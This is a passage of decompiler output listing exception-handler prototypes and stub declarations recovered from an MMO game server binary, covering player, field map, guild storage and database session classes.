__cdecl _ehhandler__reserve___vector_UCharSkill_CharaterSkillList__V__allocator_UCharSkill_CharaterSkillList___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156146(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CharaterSkillList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161452(int a1); // void __usercall _L161453(int a1); // void __usercall _L161454(int a1); // void __usercall _L161455(int a1); // void __usercall _L161456(int a1); // void __usercall _L161457(int a1); // void __usercall _L161458(int a1); // void __usercall _L161459(int a1); // void __usercall _L161460(int a1); // void __usercall _L161461(int a1); // void __usercall _L161462(int a1); // void __usercall _L161463(int a1); // void __usercall _L161464(int a1); // void __usercall _L161465(int a1); // void __usercall _L161466(int a1); // void __usercall _L161467(int a1); // void __usercall _L161468(int a1); // void __usercall _L161469(int a1); // void __usercall _L161470(int a1); // void __usercall _L161471(int a1); // void __usercall _L161472(int a1); // void __usercall _L161473(int a1); // void __usercall _L161474(int a1); // void __usercall _L161475(int a1); // void __usercall _L161476(int a1); // void __usercall _L161477(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CharClassManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162514(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_Load_CharClass__QAEXPBTName4__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162570(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ccm_Load_CharClassManager__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164060(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SetRegistNumber_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_REGISTNUMBER_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160559(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_charskilldata_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_SKILL_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161006(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_Getchestinform_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_CHESTINFO_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161260(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__isb_FullBufferItem2Client___ItemSmallBag_UItemInform_ActionItem____QAEHPAEPAUPROTO_ITEMPACKET_INFORM__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161452_0(int a1); unsigned int __cdecl _L161453_0(); // void __usercall _L161454_0(int a1); // void __usercall _L161455_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_charbasedata_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_BASE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161647(int a1); // void __usercall _L161648(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_StoreInventoryFromServer_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_ITEM_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162092(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VChargedItemEffectElement_ChargedItemEffectList____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162164(int a1); // void __usercall _L162191(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_CharAbstateData_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_ABSTATE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162238(int a1); // void __usercall _L162251(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_CharChargedBuffData_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_CHARGEDBUFF_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159298(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_SKILL_EMPOWALLOC_DB_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159062(int a1); // void __usercall _L159064(int a1); // void __usercall _L159065(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SKILL_EMPOWALLOC_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161506(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ChargedItemTest_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161685(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ChargedEffectList_ChargedItemEffectList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161194(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ChargedEffectListRouter_ChargedItemEffectList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161442(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_MISC_TIMEFROMWORLD_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161552(int a1); // void __usercall _L161553(int a1); // void __usercall _L164059(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHAR_REVIVE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163623(int a1); // void __usercall _L163624(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ClassChange_ShinePlayer_ShineObjectClass__UAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163733(int a1); // void __usercall _L158466(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_collesioncheck_ShineObject_ShineObjectClass__QAEEPAV12_K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158565(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_BriefLink_ShinePlayer_ShineObjectClass__UAEXPBTName3__PBUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158765(int a1); // void __usercall _L158766(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Admin_FindMob_ShinePlayer_ShineObjectClass__QAEXPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158871(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_Marking_FieldMap__QAE_AW4FM_MarkingError_1_PAVShineObject_ShineObjectClass__HHE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164287(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ws_save2DB_WholeSaver__QAEXPAVShineObject_ShineObjectClass__EH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165466(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SaveSkill_ShinePlayer_ShineObjectClass__UAEHPAUPROTO_NC_CHARSAVE_SKILL_REQ__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163383(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SaveLocation_ShinePlayer_ShineObjectClass__UAEHPAUPROTO_NC_CHARSAVE_LOCATION_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163822(int a1); // void __usercall _L163823(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SaveAbstate_ShinePlayer_ShineObjectClass__UAEHPAUPROTO_NC_CHARSAVE_ABSTATE_REQ__PBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161492(int a1); // void __usercall _L161493(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ReinforceMove_ShineMobileObject_ShineObjectClass__UAEXPAUSHINE_XY_TYPE__HW4MoveDirect__PAUPROTO_NC_ACT_SOMEONEMOVEWALK_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161625(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ShootMeTo_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161458_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MobDistribute_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161579(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ReinforceMove_ShinePlayer_ShineObjectClass__UAEXPAUSHINE_XY_TYPE__HW4MoveDirect__PAUPROTO_NC_ACT_SOMEONEMOVEWALK_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163382(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163916(int a1); unsigned int __cdecl _L163917(); void __cdecl _L163928(); // void __usercall _L163918(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ShadowStep_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159269(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158383(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_MISC_ZONERINGLINKTEST_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159397(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__InitSessions_ClientSessionManager__QAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L14950(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dt_Load_DamageTable_DamageByAngle__QAEXPBTName4__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L18647(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_USoulDamateElement_DamageBySoul__V__allocator_USoulDamateElement_DamageBySoul___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USoulDamateElement_DamageBySoul__V__allocator_USoulDamateElement_DamageBySoul___std___std__IAEXViterator_12_IABUSoulDamateElement_DamageBySoul___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L19470(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sdc_Load_SoulDamageContainer_DamageBySoul__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159876(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_RIDE_FEEDING_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159238(int a1); // void __usercall _L159239(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_HorseCast_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159628(int a1); // void __usercall _L159629(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_HorseOn_ShinePlayer_ShineObjectClass__QAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159784(int a1); // void __usercall _L159785(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_HorseOff_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159049(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_IsStreight_FieldMap__QAEEHHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__IAEXViterator_12_IABUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161542(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__rmt_MakePath_RadianMoveTrack__AAEEAAV__vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__PBVVector_VectorClass__HHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161638(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__rmt_Calculate_RadianMoveTrack__QAEEAAV__StaticVector_USHINE_XY_TYPE_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157677(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dia_Set_DropItemAnalyzer__QAEXGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L73909(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dlm_next_DropLocationManager__QAEEXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L72685(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dmc_CanMenuOpen_DuplicatedMenuControl__QAEEG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173733(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_MapMarkingAtDefaultCoord_ShineObject_ShineObjectClass__QAE_AW4FM_MarkingError_FieldMap__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165582_0(int a1); // void __usercall _L165583_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_DistrubuteCalculate_FieldMap__QAEXPATName3__PAH1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165622_0(int a1); // void __usercall _L165623_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_FindBlockLocation_FieldMap__QAE_AW4WarpResult_1_PBUSHINE_XY_TYPE__H0PAU3_P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165979_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_IsStraightPath_FieldMap__QAEEPAUSHINE_XY_TYPE__0P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166555(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VFieldMap____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166593(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_Init_FieldMap__QAEXPAUFieldAttr_FieldOption__PATName4__PATName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167519_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fc_Load_FieldContainer__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170436(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_PAVRoutionInterface__V__allocator_PAVRoutionInterface___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171208(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_SetRefuseAbstate_FieldMap__QAEXW4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171366(int a1); // void __usercall _L171367(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fc_AbstateInFieldLoad_FieldContainer__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172177(int a1); // void __usercall _L172178(int a1); // void __usercall _L172179(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1FieldMap__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173684(int a1); // void __usercall _L173685(int a1); // void __usercall _L172380(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Copy____Tree_V___Tset_traits_W4ABSTATEINDEX__U__less_W4ABSTATEINDEX___std__V__allocator_W4ABSTATEINDEX___3__0A__std___std__IAEPAU_Node____Tree_nod_V___Tset_traits_W4ABSTATEINDEX__U__less_W4ABSTATEINDEX___std__V__allocator_W4ABSTATEINDEX___3__0A__std___2_PAU342_0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173416(int a1); // void __usercall _L173417(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0FieldMap__QAE_PBTName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173648(int a1); // void __usercall _L173649(int a1); // void __usercall _L77072(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_UFunctionPerformance_FunctionProfiler__U__less_UFunctionPerformance_FunctionProfiler___std__V__allocator_UFunctionPerformance_FunctionProfiler___4__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150554(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_DummyFunction_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150686(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L117139(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gls_DummyFunction_GameLogSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L117224(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gls_NC_MISC_HEARTBEAT_REQ_GameLogSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161645(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_GATHERCOMPLETE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160033(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__rb_Load_RecipeBook_GatherProduce__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160201(int a1); // void __usercall _L160202(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GatherCheck_ShinePlayer_ShineObjectClass__QAEGW4GatherType__PAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161675(int a1); // void __usercall _L161677(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_GATHERSTART_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160795(int a1); // void __usercall _L160796(int a1); // void __usercall _L160797(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ip_WhereProductStore_ItemProducer__AAEGXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161011(int a1); // void __usercall _L161012(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ip_FindRaw_ItemProducer__AAEGGH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161289(int a1); // void __usercall _L161290_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_ItemProduce_ShinePlayer_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160077(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158781(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineGuildAcademyGuildBuff__QAE_PAUPROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159849(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildAcademyRewardStorageDepositAck_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159018(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildAcademyRewardStorageRewardZoneRng_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159293(int a1); // void __usercall _L159294(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159335(int a1); // void __usercall _L159336(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159690(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VGuildAcademyRewardStorageElement_GuildAcademyRewardStorage____QAEPAVGuildAcademyRewardStorageElement_GuildAcademyRewardStorage__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159721(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__garsm_FindStorage_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEPAVGuildAcademyRewardStorageElement_2_KPAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159732(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildAcademyRewardStorageDeactivate_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160966_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161158(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160124(int a1); // void __usercall _L160125(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__garsm_SendDeposit2Member_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEXPAUPROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160314(int a1); // void __usercall _L160315(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__garsm_SendRewardInfoZoneRng2Member_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEXPAUPROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160383(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VGuildAcademyRewardStorageElement_GuildAcademyRewardStorage____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160752(int a1); // void __usercall _L160753(int a1); // void __usercall _L160754(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ShineGuildAcademyRewardStorageItemInfoZonRng__UAEEPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161049(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158817(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildReTypeItemUseSuccess_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159020(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildReName_ShinePlayer_ShineObjectClass__UAEXETName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159490(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0GuildStorageManager_GuildStorage__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159377(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ShineGuildStorageWithdraw__UAEEPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159140(int a1); // void __usercall _L159141(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gsm_SendWithdraw2Member_GuildStorageManager_GuildStorage__QAEXPAUPROTO_NC_GUILD_STORAGEWITHDRAW_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159199(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VGuildStorageElement_GuildStorage____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode 